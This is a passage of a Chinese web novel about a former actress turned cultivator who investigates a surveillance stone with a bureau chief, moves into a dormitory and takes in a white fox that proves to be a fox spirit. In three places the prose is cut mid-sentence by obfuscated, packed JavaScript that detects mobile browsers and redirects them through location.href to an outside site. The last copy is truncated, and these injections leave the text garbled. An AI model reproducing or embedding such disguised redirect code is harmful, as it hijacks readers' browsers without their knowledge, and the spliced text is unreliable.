“我来错地方了?”这也不是古装剧剧组啊,黎钰倒走出门,这次她仔细查看了门外的标牌。 【对策局局长步星澜办公处】 “你没走错。”一道传音在她脑中想起,听起来有些咬牙切齿。 黎钰再次打开门,步星澜停止手中的作画,一张椅子在长桌前浮现。“坐吧,找我何事?” 她坐下,从储物空间取出一块传影石,放到桌上,“我昨天在天花板发现了这个,普通的手段检测不出来。” 没有隐瞒,她直接将昨晚的遭遇全说了出来,传音石在步星澜手中漂浮,随着黎钰讲到自己的猜测,他的脸色愈发深沉。 “我认为,它是在我一年前装修出租屋时,被人布下的。” “可一年前的你,只是个普通人。”步星澜双眸光芒浮动,灵力一遍又一遍扫视着这块传影石。 黎钰摊手,“所以我才觉得奇怪……”硬要说不平凡的话,就是她和顾望宁的关系了吧? 她和顾望宁是青梅竹马,加上网络上的流言蜚语,步星澜只要想查,必定会查到这一层。 思来想去,黎钰问道:“说起来,对策局对顾家有了解吗?顾望宁所属的顾家。” 想起地铁中那位少女的话——注意真理会,小心顾家。 步星澜沉思了一瞬:“顾家啊……二十年前靠奢饰品香水起家,在商界站稳脚跟后,又经营了多家娱乐公司,这在你们圈子里应该相当有名吧?” 黎钰点头,步星澜继续说下去:“不过,他们利润的大头并非娱乐业,而是生物科技。” “我只听说过他们开了好多家美容医院,很多圈内人都办了会员。”黎钰之前一直以为顾家靠奢饰品和各类娱乐公司赚钱,没想到大头居然是生物科技。 考虑到天花板的传影石,步星澜不难猜测黎钰的想法:“你怀疑顾家在监视你?” “自十年前开始,对策局就一直在调查顾家。你大可放心,对策局没和他们同流合污。” 黎钰有些恍惚,十年前,那时她还在上初中。 “其实,明眼人都看得出顾家在勾结魔修,可问题是我们没有确切证据。活捉的魔修被下了禁咒,无法说出具体情况,死去的更是在搜魂时,就已魂飞魄散。”说到这里,步星澜很是头疼。 “顾家的长子会不会对此有所了解?” 步星澜揉了揉太阳穴,叹气道:“他一个艺人,能接触多少核心机密?更何况,他体内也被下了禁咒,要是贸然行动,他百分百和那些魔修一样,魂飞魄散,”他更头疼了,“死了也就算了,关键有禁咒在,我们也不可能问出情报。 “若要解除顾望宁身上的禁咒,必须找到下咒者。和顾家合作的魔修及其谨慎,对策局只能抓到他们手下的小鱼小虾。” 黎钰再次想起神秘少女的话:“和顾家合作的魔修,是真理会的成员吗?” 白衣青年一副“你怎么知道”的表情,淡淡说道:“确实是。” “我猜,这应该不是顾望宁告诉你的吧?” “地铁上的路人说的。” 黎钰诚实地回答,顺便把神秘少女的事情也说了出来。 随着她的讲述,步星澜的脸色愈发微妙,眼神复杂。 “我先前不是说,远在十年前,对策局就开始调查顾家了吗?” “那时,在那位神秘能力者的指引下,我们发现了在小巷边发现了两具魔修尸体,以及……昏迷不醒的两名学生。” 他看黎钰的眼神充满深意:“而且,你倒是提醒我了。其中一名昏迷的学生‘碰巧’和你同名,也叫黎钰。” 不是同名,那就是她。 “另一名,姓顾。”他静静凝视着黎钰,“名为顾望宁。” 面对黎钰平静幽深的目光,步星澜清冷的双眸直直与她对上:“黎钰,那能力者说得没错,自十年前开始,你就已经置于风暴中央了。” 黎钰沉默地望着他手中的传影石,不发一语。 “我推测,那位少女应该是某个势力旗下的能力者,奉命来监视你。”他话音一转,“但她多次为我们提供情报,也不能草率地将她……她背后的势力视为敌人。” 也就是说,中立方吗? “至于终焉黑日的别墅血案,我们还在调查,如无意外,近日的连环坠楼也是他们的手笔。两大魔修教派忽然活跃,此事非同寻常。黎钰,我希望你协助专案组,调查这起坠楼事件。 “传影石的后续则由我来亲自调查,有新的进展便立刻告知你,你觉得如何?” 她现在还有公司那边的后续事务要处理,难以抽身,即便有对策局负责澄清,她也必须亲自上阵。 “可以,”黎钰欣然应下,“我还得去和公司商量后续的计划,可能得晚一点去专案组。” “不过在那之前,我认为需要先打一通电话,问一下那位装修的‘师傅’——” 居然敢在她家装摄像头,气死她了。 “黎钰,”步星澜打断她的话,平静问道:“你还记得他的长相吗?” “都半年前了……” 她那时只是个普通人,记忆力还没被强化,怎么可能记得清楚。 “那他是接近退休的老人,亦或者满脸胡茬的中年人?还是刚毕业不久的学生?” 黎钰刚准备回答,张开嘴,却一字也吐不出来。对于上漆那人,她竟然一点印象都没有,除了那身蓝色工装,就只有模糊不清的面容! “那人不对劲!”她连忙输入以前存下的电话号码,拨打过去。 没有任何回应,只有冰冷的客服回复音:“您好,您拨打的电话是空号——” 看来对面在一年前就有备而来,黎钰顺着线索思考,“我当时是在平台雇的人,那么,应该还有付款记录!” 但是打开平台,付款记录也不存在,平台上的聊天记录也消失得无影无踪。 不只是黎钰发觉不对,就连步星澜都皱起眉,深思道:“等下,黎钰。你……确定将钱转给他了?” 聊天记录或许能删,但银行的转账明细,魔修绝对删不掉——如果这都没有,步星澜怀疑,黎钰当时根本没有转出过钱。 想到这一点,黎钰顿时惊到了,像只猫头鹰一般端正立在椅子上。 那天,她拿着不存在的聊天记录和转账汇款,将一个来路不明的陌生人带进房屋,还以为对方只是普通的装修工人…… 唯一的好消息,居然是她没把钱转出去! “看来对方很谨慎啊……”就连几百块的小便宜也不贪,但凡他贪下黎钰那百来块,现在就有追踪的线索了。 “不过我那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993177|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天存款确实没了298块……”难道对方让她花到别的地方去了?数字金额也不小啊,究竟花到哪去了呢? 黎钰开始思考家里是不是多了点什么时尚小垃圾。 这个熟悉的数字,步星澜的眉头上挑,表情十分微妙,“你……是不是充游戏里了?” 听到他的话,黎钰连忙打开游戏商场找客服,那里真的多了298的转账。 她就说为什么那天这么欧,一发十连出奇迹,原来是被魔修氪金垫池子了! 话说,为什么步星澜这么熟悉啊?他又不是管网络的……面对黎钰试探的目光,这位仙尊目光游移,生硬说道: “对了,你的宿舍办好了。” 步星澜不知从何处拿出一把银色钥匙,钥匙圈上还挂着一张蓝色小卡,推到黎钰面前:“这是新宿舍的钥匙,你最好今天就搬过去,出租屋恐怕不安全了。” 居然这么快就弄好了?!黎钰眼前一亮,也不管为什么步星澜对游戏氪金如此熟悉了。 “局长,宿舍环境怎么样?”她激动逮住他问东问西。 “一室一厅,离地铁很近。至于环境……不如天界。”说到后面,步星澜压低音量嘟囔,但黎钰还是凭借出色的听力,听得一清二楚。 听上去环境一般啊,算了,比她的老破小出租屋好就行——至少安保要好吧? 不管怎么样,有新的落脚处了!黎钰兴奋地拿起钥匙,正欲离开。 步星澜叫住了她,“对了,帮我解决掉这个。” 解决什么? 一杯热腾腾的杯装饮料出现在古朴的木桌上,里面一片黑乎乎的,不知道是什么黑暗料理。步星澜脸色复杂:“买一送一,太甜了,我喝不下。” 没想到这位仙尊也爱喝这种饮品,她还以为只有她们这样的年轻人爱喝。 不过他之前的平板壳都是游戏角色,他爱喝奶茶也不意外——想到刚才他对游戏氪金熟练的反应,黎钰开始思考,步星澜会不会把工资都拿去给游戏氪金了。 这话她万万不敢问出来,黎钰只是好奇地拿起饮料,看了眼标签——原来是杯热巧克力,她把吸管戳进去,吸了两口。 “还挺好喝的啊。” “……你喜欢就好。”步星澜看她的眼神更微妙了。 一分钟后。 穿过无人的长廊,端着手中还剩半杯的热巧克力,黎钰终于明白为什么步星澜听到她说“喜欢”后,眼神怪异且微妙了。 “这也太甜了!” 第一口,很甜很好喝;第二口,很甜很好喝;第三口、第四口……这玩意怎么还剩一大杯?她甜得舌头都失去味觉了! 秉持不浪费粮食的精神,黎钰欲哭无泪,一口气炫完剩下的热巧克力。 终于明白为什么这玩意买一送一了。 …… 回到出租屋,楼下的案发现场还在封锁中。 黎钰火速冲到房中,火速收拾好自己的东西,将它们全部丢进储物空间,然后联络房东退房。 离开狭窄的小巷,黎钰顿时神清气爽了不少。 路过现场,楼下的警戒线旁围着一堆人,提着摄像机和手机在那里拍照,还有几个人将话筒怼到他们面前,不复上午的冷清。 早上向她搭讪的新人警员第一次正面遇上记者,手足无措:“事情还在调查,细节不能透露……” 黎钰暗中祝他好运,特地绕路走另一侧的小巷,省得遇上记者。 “哎,这不是黎钰吗?” 然后撞上了另一波抄小路的记者,他们一窝蜂涌上来,堵死了黎钰的退路。 “您好,黎钰小姐,请问您对先前的暗网直播有何看法呢?” “听警方公告说,您是警局新请的顾问,大家都说当时的直播另有隐情,您能透漏一点消息吗?” “请问对策局的功能是什么?我们第一次听说官方有这个部门,能请您帮忙解答一下吗?” “您以后还打算在娱乐圈演戏吗?” 黎钰本来准备强行用幻术遁走,前往她美妙的新宿舍,但她的脚步顿了顿。 她没有立即离开,选择性地回答记者的问题:“暗网直播还在调查中,对策局的事情我不便透露,建议你直接去警局问。” 她熟练地将皮球踢给了步星澜。 “关于我自己,我已经有了新工作,以后不会再去剧组演戏。” 众人哗然。 “请问您这是上岸了吗?” “是的呢。”黎钰微笑答道。 还是正式工,合同都签了。 8. 捡到一只白狐 粗略地回答了几个问题,黎钰就像一条泥鳅般滑溜地从几位记者身边钻出去,别说拦住黎钰了,就连她的衣角也蹭不到。 好不容易逃出包围圈,黎钰用幻术伪装,然后打车前往钥匙卡上写的住址。 “金碧公寓7楼16号……” 公寓坐落在一个小花园中,左拐就能直通大路,路上还有地铁站和公交车站,非常方便。 小花园中,还能看见遛狗的悠闲大爷大妈们,鹅卵石小道上还有专门的健身设施。 “这——是宿舍楼?” 黎钰呆滞地抬头,一栋高达十六楼的圆柱形建筑映入眼帘,整栋公寓就像一颗灰黑色的螺丝伫立,而每间住宅就像螺纹一样嵌在圆柱上,不难猜测,圆柱的正中间应该是电梯或楼梯。 长得有些怪异,但不妨碍这里风景优美、交通便利。 “这就是步星澜说的‘环境一般’?”难道房屋内部太拙了? 闻着小花园清新的空气,黎钰的心情都好了几分,就算内部拙一点,她也认了。 忽地,余光瞥到一团藏在草丛中的白色物体。 那团白色“物体”也看到了她,兴奋地向她扑了过来,挂在她身上“嘤嘤嘤”地叫唤。 “等一下等一下!” 此时,黎钰才看清那是一只大狐狸,它那毛绒绒的尾巴疯狂摇摆,甩得跟风车似的,整只狐扑在她身上,还用脸蹭她的衣服。 面对这只热情的陌生狐狸,黎钰只能婉拒它的好意,一步步后退,上宿舍查看情况。 这只白狐就是跟着她,走到哪跟到哪,黎钰让它去找自己的主人,它还不乐意,委屈地蹭她的腿,感觉要哭出来了。 蓬松的毛发蹭得黎钰心痒痒的,她摸了摸白狐的脑袋,迟疑片刻,打电话问步星澜:“局长,宿舍允许养宠物吗?” “你想养什么?”富有磁性的男声从话筒传出,黎钰脚边的白狐眼神凶狠,趴在她的腿上对手机哈气,龇牙咧嘴的。 哈得非常大声,步星澜绝对听见了。 “你……这是准备养猫?”听上去怪凶的,她难道想挑战养凶猫? 步星澜不理解,他只是淡淡说道,“记得做好隔离结界,不想楼下投诉的话。” “不是猫,是狐狸……” “那也一样。” 他一边说,那头白狐的辱骂声就没停过,一直在叫,步星澜不懂兽语,但他分辨得出动物的情绪。 生气、愤怒、警惕,步星澜无声笑了笑,一看就是黎钰在强行收养凶狐狸了。 那只狐狸骂骂咧咧的,还是对着手机吼,大声到黎钰拿开手机都不管用。 挂掉电话,白狐又变回了乖巧懂事的嘤嘤狐,趴在黎钰腿上,满眼水光地看着黎钰,仿佛刚才那只鬼哭狼嚎的狐狸不是它。 既然局长都说能养了,那……她试一试? “不过,待会不许对工作人员大喊大叫!”黎钰拍它的狐狸脑袋。 动物怕手机也蛮正常的,面对一个会发出人声的铁坨子,几万年前的原始人听到了也得哈气。 白狐瞬间变成了乖巧的大棉花,安静瘫在黎钰怀里,尾巴还轻轻扫过黎钰的大腿,又酥又痒,黎钰把脸埋进狐狸的毛发里,狠狠吸上一口。 似乎用力过度,她听见怀里的狐狸“呜呜”叫了一声。 她感觉自己到了天堂! …… 手续都不用办,直接人脸认证加登记,黎钰就进入了电梯间。 “还真是螺旋上升的啊?”外面的楼梯是弧形的,自上往下,就像一圈圈的波纹一般,令人头晕目眩。 “怎么想到了前世的一部动漫……嗯,这里应该不会发生什么杀人事件吧?” 好歹也是对策局宿舍楼,不至于吧。 “嘤?”电梯中,怀中的狐狸好奇地四处张望,尾巴一下一下拍着黎钰的大腿。 她特地问过保安,这只狐狸在附近晃来晃去,似乎在等什么人。保安看那健康的毛色和体型,应该是被住户遗弃了。 既然无人认领,那黎钰就放心地把狐狸端走了。 光是走廊就已经很精美了,黎钰住惯了之前的老破小出租屋,走在宽敞的走廊上,一时间居然有些不适应。 钥匙旋转,打开了房门。 温暖的阳光照射在阳台上,正中的大厅还放着低矮电视机柜,瓷砖光滑整洁,黎钰抱着狐狸,呆呆地站在原地,愣住了。 这就是步星澜说的“环境一般”吗?她是不是和他有文化代沟。 “那家伙在天界得是什么级别的王公贵族啊?”这种级别的宿舍在他眼里都是“一般”。 房间在另一侧,床架子上空无一物,显得很空旷,但布设又完美地弥补了这一点,阳光透过窗台照在床架上,黎钰把狐狸放下,拉上窗帘。 “乖乖等我,我去收拾东西。” 白狐十分听话,一蹦一蹦跳到电视柜上趴成一滩狐饼,眯起眼睛等她。 “奇怪,不是说狐狸很闹腾吗?怎么这只这么听话……”那弃养狐狸的主人真是不知好歹,这么乖的狐狸都丢。 “咦,这狐狸怎么有点眼熟……”有点像她在修仙界的那位引路人,都是纯种的白狐,就连那副乖巧的车座子脑袋也一模一样,除了尾巴数量不同。 黎钰将手放在它脑袋上,感知不到一丝灵力,就像一只真正的狐狸——或许真是狐狸。 黎钰把手伸到白狐面前,“你饿吗?饿就拍下我的手。” 白狐瞥了她一眼,没有理她。 “那行吧,我先收拾东西。”反正它饿的话,会跑过来嘤嘤撒娇的。 手机直接丢在一边,黎钰忙活了一下午,终于把床垫被单给弄好了,顺便做了个简单的大扫除。 算不上大成功,但今晚能睡觉了。 “终于完成了!”她瘫在椅子上,给自己开了个空调享受,这才有机会摸手机。 打开微博的瞬间,她发现自己又上热搜了。 【连环坠楼专案组特邀顾问黎钰】 【天灾对策局】 “咦,怎么对策局也上榜了?”步星澜那边不将它们整下去吗?被人发现妖魔的存在—— 不对,步星澜有和她说过要保密吗? 下意识代入了都市异能小说的内容,黎钰才想起来这件事。 她连忙点开关于自己的热搜,只见公告上明明白白地写着:“黎钰将担任超自然天灾对策局的特邀顾问,协助专案组调查近日的坠楼案件。” 步星澜怎么快就把这件事捅出来了? 有网友发出疑问:“对策局是什么?” 而新的公告之下,就是对策局的具体职能说明,类SWAT特警的特殊部门,主要处理超自然犯罪事件。 在黎钰的暗区风波之后,这个特殊部门浮出水面,第一次进入大家的视野。 【我报名的时候看过对策局的岗位,文职岗的分数线比其他部门高了好多分!】 【其实我很好奇,黎钰是对策局的文职人员吗?】 这一条被官方回复了:【一线战斗人员。】 【难怪黎钰会出现在沿江东路的案发现场!原来是去捉真凶的!】 【感觉很危险的样子,黎钰还不如找个996游戏公司上班……】 【超自然……我们这个世界居然真的有妖魔鬼怪吗?太恐怖了。】 【还是会无差别袭击人类的妖魔,天哪。】 【我看是大家想多了,说不定根本没有对策局这玩意,只是为了让黎钰上岸做的萝卜岗罢了。】 【可是暗区的视频大家也都看见了,人怎么可能会飞,还能制造气压,世界一定存在超能力!】 虽然说话题是黎钰的名字,但更多的人在争论“世界上究竟有没有超自然力量”,以及对比黎钰和死去魔修的战力。 自从黎钰成为了对策局的特邀顾问后,网上讨论她和顾望宁绯闻的频率直线下降。 早上才十万多一点,在对策局新公告的加成下,粉丝数量直接突破了二十万。 《灵异秘闻》官方更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993178|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在对策局发出澄清的不久后,假装不经意地删除黎钰的解约公告。 在他们单方面解约后,要付违约金的人不是黎钰,而是节目组。 一想到打赢官司又能拿十几万的赔款,黎钰差点笑出声。 黎钰的微博非常平淡,只有几张满脸写着“被迫营业”的自拍,以及路上的风景照。抽卡建模碎碎念的动态,则是被黎钰发在另一个专门做同人的号上。 看到粉丝量,黎钰抹了抹汗,这粉丝量比她的大号都多!甚至可以反过来,让演员营业号当她的主号了。 【其实我一直感觉顾望宁配不上小钰来着。】 【我家小钰为民除害,现在更是成为了对策局的新星,顾望宁?路边一条罢了,别来妨碍她的事业!】 【楼上积点口德好不好?宁宁和黎钰现实都是要好的朋友,你这样说,黎钰也会伤心的。】 【之前骂黎钰蹭你家哥哥热度的时候,可没见你出来当理中客啊?咋对策局澄清一出,就蹦出来了?】 【还好小钰退圈上岸了,不然天天被某顶流捆绑,翻身都难。】 评论区下基本都是她的唯粉,看到粉丝叫她“小钰”,黎钰的表情有点点微妙。倒也不是不好听,只是一念这个称呼,她就会想起“小玉,你怎么在这里”“龙叔,我不是故意的”。但这梗只能烂在黎钰肚子里,因为这个世界没有成x历险记,没人能理解她的梗。 “该死的,整个世界只有东阳国和我语言互通。”大陆对岸的帕赫诺联邦讲的根本不是英语,也不是日语,而是一种她没听过的新语言,反正不在黎钰前世学的外语范畴。以至于黎钰穿越后,外语水平堂堂归零。 和英语最像的语言,居然来自极北之地的寒霜帝国,除此之外的语言,基本不在前世地球的语言范畴内。 黎钰只会听说读写帕赫诺语,基本的交流没问题,寒霜语……黎钰大学抽空补习了一下,为了加分考了寒霜语的四级证书,辛辛苦苦考完试,结果不计入学分,黎钰当时都红温了。 至于顾望宁的粉丝……第一,黎钰上岸了;第二,顾望宁的家族和魔修有牵扯——塌房是板上钉钉的事。 具体什么时候塌房,就得看黎钰的调查进度了——凭借她在修仙界的除魔经验,只会早,不会晚。 “不知道公司那边怎么想。” 公司的态度仍未明朗,黎钰微信问她的经纪人,她说要等和董事长回来亲自和她商谈。 当年也是他主动提出和黎钰签约,黎钰的事情反转后,也还得由董事长出面和她商谈。 “放心,明天董事长就回来了,届时你回公司一趟。” 忽然,外面的白狐嘤嘤闯了进来,趴在床边,毛茸的脑袋蹭着小腿。 算算时间,它也该饿了。 黎钰连忙上网搜索养狐技巧:“吃狗粮,用猫砂盆……你到底是猫是狗啊?”实际是犬科,但黎钰还是忍不住嘟囔。 白狐一脸无辜,尾巴摇得比风扇还快,就像一只大白狗。黎钰忽然想起来,她还不知道这狐是公的母的? 黎钰控制不住自己的好奇心,在白狐疑惑的目光中走到它的身后,掀起它的大尾巴。 “好大一颗蛋!” 仿佛会听懂人话似的,它听到黎钰的感慨,大声嗷嗷叫,但尾巴被她拿捏住,变成了黎钰的盾牌,它一个回首咬,精准地咬到了自己的尾巴。 就是现在!黎钰趁机捏了捏那颗毛绒绒的圆球。非常软,十分有弹性,她忍不住捏一下,再捏一下。 “嗷!”狐狸开始大叫,然后……黎钰感受到手上传来奇异的温热,一道喷泉精准地喷在她的手掌上。她呆滞地盯着手上的不明液体,又抬头看了看正死死用尾巴挡住蛋的白狐。 黎钰清晰地望见,它的小唇膏竖了起来。 “尿……尿了?救命!我的手!!” 呆滞之后,就是她不可名状的尖啸。黎钰火速往地上和手施了个清洁术,然后冲去厕所用洗洁精疯狂重新洗手。 她的手,不干净了! 9. 居然是修仙界的狐狸精 光用清洁法术洗地洗手还不算,黎钰愣是用洗手液搓了十几次,然后才把满脸心虚的狐狸揪到客厅,设置好隔离结界,坚决不让它进入自己刚收拾好的房间。 狐狸的小唇膏还竖着,随着它的动作一甩一甩的,满脸委屈。 黎钰感觉自己即将成为一位忍人。捡都捡回家了,她……努力和解吧。 “给它整点用品。”按着网上的导航,亲自出门寻找附近的宠物店,同时熟悉公寓周边的情况。 或许是金碧公寓有许多人养宠物的原因,还没走出几步,楼下就开有一家宠物商店,装修十分精致,招牌写着粉色可爱的六个大字——有猫饼宠物店。 这名字,黎钰不由得驻足观望。 不知是店员还是店长的短发少女坐在椅子上,外放玩枪战游戏,嘴里时不时爆句粗,让队友全家升天,根本没注意黎钰的存在。一旁的奶牛猫躺在前台的桌子上,打着呼噜,浑然不觉得吵,睡得非常香。 黎钰走进宠物店,少女才抬头瞥了她一眼,然后继续玩游戏。 “貌似这个品种的狗粮会好一点?罐头也整点,再买个超大号狗窝、猫砂盆……” 胜利结算了,少女终于放下手机,见黎钰同时拿下猫狗的用品,不禁问道:“你这是养猫还是养狗啊?” “狐狸。” “喔,犬科啊。” 是啊,标准的犬科,还尿了她一手。那是尿……吧?黎钰分不清,但一定喷了。 少女没有开下一把,而是坐在原位,视线上下打量黎钰。 深棕色长发,金色双眸,还有那标致的脸蛋,少女越看越眼熟,片刻,惊讶道:“等下,你是网上那个黎钰?!” 联系到金碧公寓的特殊性,她大声,“靠,你真进对策局了啊!” “对啊,以后可能还要经常来关顾你。”开在宿舍楼下的宠物店,黎钰以后懒得绕远路,就来这里买了。 前台睡得跟死猪一样的奶牛猫终于醒了,它不爽地瞪了发癫的主人一眼,趁她注意力被黎钰挟持,奶牛猫像个抱脸虫一样,生气地创到她脸上,“唔哦哦哦哦!你干什么啊,垃圾!” 这猫的名字真独特,在黎钰心里吐槽时,少女成功把这只“抱脸虫”从脸上扒下来,奶牛猫顺势跳到门边的垃圾桶里,精准进球,和黑色的塑料袋融为一体——黎钰终于明白为什么这猫叫“垃圾”了。 “真服了它。” “看在你初来乍到,还是对策局新人的份上,狗粮直接算你免费好了。”少女随意开口道。 “免费?”黎钰不可思议地复读了一遍,她真的在开店吗?她整整两大包狗粮,居然直接免费。 “对啊,你也不用担心有记者狗仔追过来,安全得很,相信周边的安保。”少女瘫在椅子上,就像一条懒散的咸鱼。 对于安保,只要比先前的出租屋要好就行,黎钰不挑,反正她会设置结界。 “好奇一下,你养的狐狸是只白狐吗?” “是啊。” “经常在小区晃悠那只?”见黎钰有些疑惑,她补充道,“小区也没其他狐狸,就那一只白狐,毛色贼好,又安静听话。” “应该是你说的那只,不过你怎么不养它?” 少女无奈摊手:“我抱它的时候,它差点一脚把我踹飞,又踹又蹬。特别警惕,只给看不给碰。我家的‘垃圾’已经够恐怖了,再加一只,我可吃不消。” 回想起刚才一进小区,就主动往自己身上蹭,还撒娇的白狐,黎钰愣了一下。 这狐,演技真好啊。 “装模作样十分钟,吃喝不愁一辈子。养都养了,闹腾就闹腾点吧。”想到自己刚被这只衰狐尿了一手,黎钰已经无话可说了。 迅速结完帐,黎钰离开了“有猫饼宠物店”。 …… “一下子就没掉了500块,养宠物真花钱……” 电梯停在了7楼的位置,黎钰哼着小曲,悠闲地打开门。 然后她的笑容僵在了脸上。 白狐不在大厅,取而代之的是一位俊美青年。 他坐在椅子上,身上只披了一块半透明的披帛,纱制的轻盈布料挡在胸前,随风飘动,两抹淡粉若隐若现。发现房屋的主人回来后,青年细长的眼眸扫向门口,正好和僵在原地的黎钰对上视线。 仔细看,他的头顶上还有一双毛绒的白色兽耳。 “你——”望见青年熟悉的面孔,黎钰说不出话。 “谢安霖,你怎么在我的房间!!” 不,更重要的是——“你怎么活过来的?!” 她分明记得他死在了那场天魔动乱之中。 青年显得十分无辜:“天道复活了我。祂说,只有成为天选者,才能来此世寻你。”雪白的尾巴在身后轻轻扫动。 “祂还特意吩咐,在遇到你之前,切勿在外人面前显出人身。” 当然了! 单纯的狐耳狐尾还能说是二次元,他这身穿了等于没穿的衣服,走在街上跟x奔有什么区别?这种违反治安管理法的东西,一上街,秒被警察逮进局子好不好! 黎钰开始头痛,“天道没让你穿越前多穿几件衣服吗?” 她努力放空视线,不往他身上看,谢安霖的下面只有一件紧致的白色三角裤,异常凸显身材。 最离谱的是,这唯一的裤子上还挂着条淡蓝色流苏,在结实的大腿旁晃来晃去,黎钰下意识瞟了两眼,又连忙移开视线。 “考虑到人族的风俗习性,我特地多穿了几件,”谢安霖毫不在意地提起腿边飘荡的透明布料,微微侧身,露出富有弧度的腰线,在黎钰目瞪口呆的视线中说道,“轻盈剔透,便于行动,十分适合本尊。” 他不侧身还好,一侧,黎钰就发现他身后空无一物,那透明披帛在他的后背完美空出一个V字形,狐狸尾巴在镂空的后腰欢快地摇来摇去。 只是为了放尾巴,就一键删除身后的布料吗?狐狸精你赢了。 她终于知道为什么天道让他别现出人形了,这可是对策局的宿舍!万一对策局的同事举报她去夜x会点楠模,要革她的职,她哭都没地哭。 所以,黎钰认为,比起带他去对策局登记,现在最该干的是给谢安霖整几件正常衣服。 “这段时间,你变回人形时……记得别把狐狸特征露出来,不然全世界都知道我养了只狐狸精。”黎钰指了指他身后摇来摇去的毛绒大尾巴。 耳朵还能说是头饰,这全自动兽尾,黎钰真的无从解释。 他狐耳耷拉下来,“知道了。” “唉,我得把你的事和上司说一声……” 在黎钰打开手机,告诉步星澜自己多了个“舍友”时,谢安霖好奇凑到她的身边,盯着手机,狐狸尾巴一下一下地蹭着她的腰:“黎钰,这是何物?传音石吗?我见你和那男人说话时,也在用这个。” “可以这么理解。” 忽然想到她和步星澜通话时,谢安霖对手机龇牙咧嘴地哈气,“这是手机,我们世界专属的传音石。你见多了就习惯了,不用怕。” “本尊可是青丘国师,怎会怕此物。” 怕不怕先另说,把事情一窝蜂告诉步星澜后,黎钰将楼下宠物店买的狗窝狗粮,一股劲从储物空间搬出来。 面对这些陌生事物,尤其是狗窝,矜贵的青丘国师疑惑地戳来戳去。黎钰将刚才买到的狗粮倒进碗里,递到谢安霖眼前,还贴心配上了勺子。 “正好,刚刚买的狗粮,狐狸也是犬科,别浪费。” 他惊愕地看着眼前的碗,两只狐耳下弯,当场飞机耳了,望着凑到眼前的灰黑色不明食物,谢安霖脸都白了,艰涩说道:“你……要本尊吃这个?” “试一试嘛。”看着黎钰期待的目光,谢安霖不忍拂去她的好意,拿起勺子舀了一口,嚼了嚼。 “我还没吃过呢,味道怎么样?” 那一瞬间,黎钰看见他整只狐的脸都由红变绿再转白,仿佛下一秒就要食物中毒昏迷不醒了。 “味道,就像你之前给本尊吃的饼干……”谢安霖不知如何描述,但黎钰立即猜到他想说什么。 他指的是黎钰带去修仙界的压缩饼干。当时给他分了一块,明明是九尾白狐,但黎钰感觉他脸都黑了。 想都不用想,肯定难吃至极。 最终,黎钰决定给他下碗泡面。吃到美味的食物(比起刚才的狗粮),谢安霖开心得尾巴都翘起来了。 黎钰也很开心,狗粮可比泡面贵几十倍,这位青丘国师可真好养活。 没有其他任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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…… 第二天,黎钰起来,准备前往公司本部,和老板谈判。 “呜嘤……”床边的白狐察觉她的苏醒,像个煤气罐一样蛄蛹过来,咬住她的裙摆,不让她走。 毛发质感非常绒,肉一抖一抖的,黎钰在他身上摸了两把,“我要去公司一趟,专案组那边也要我去调查。怎么,你很想去?” “本尊也要去!” 黎钰思索片刻:“你要一起的话……也行,把你介绍给步星澜。以你的修为,百分百也能进对策局。” 十分钟后,黎钰牵着一只白狐,跟遛狗似的,走向公司。路人纷纷侧目,视线全都聚焦在那只趾高气昂的狐狸身上。 “这是狗吗?好像萨摩耶。” “好可爱啊,第一次现实见到狐狸。” “咦,它的主人好像是黎钰……” 不过被公司门前的保安拦下了,他认得黎钰,这可是网络上的红人。但规矩就是规矩:“抱歉,黎小姐,宠物禁止进入。您可以将它栓在门口,我们会看管。” 黎钰也不掰扯,将狗绳挂在一边,将白狐栓在门口,见谢安霖乖巧地端坐在原地,黎钰拍拍他棉花似的脑袋:“很好,保持这个形态呆在这里。” 她就这样放心地走进大门,直奔董事长办公室而去。 另一边,谢安霖望着她离去的方向,狐耳耷拉下来,看上去没精打采。 很快地,它周边围了一圈人拍照,保安说狐主人不在,其他人不能摸,但他也偷偷给谢安霖拍了几张照,保安也第一次见到白狐。 谢安霖不理会这些凡夫俗子,只是团在地上,变成一片蓬松的狐饼——更多人拍他了。 有人围着他拍照,更多的人只是远远看了他一眼,然后各干各的事。 白狐的耳朵忽然竖起,公司的自动门打开了,一位粉色短发的少女戴着耳机,拉开轿车车门,正欲上车。 她没有立即上车,转过身,正好对上谢安霖的视线。 对方只是平静冷漠地瞥了白狐一眼,上车离开。 而原地的谢安霖看着她的背影,整只狐都炸毛了,差点蹦起来。 那女人,绝对发现他的神识了! 10. 人遛狗还是狗溜人? 办公室中,一位戴着金丝眼镜的青年站在窗户边,似在悠闲地看风景。 “咚咚咚”,沉闷的敲门声响起,他收回视线,“进来吧。” 黎钰环视四周,办公室旁的书架上,放着几十本厚实的名著,其中许多她只听过名字,但没看过。 前世地球的著名作品,都在这个世界都消失得无影无踪。题材类似的作品论外——比如说各世界通用的“霸道总裁爱上我”“一觉醒来,全世界的游戏水平下降一百倍”“重生后全宗门对我追悔莫及”。 “要是能文抄公就好了……” 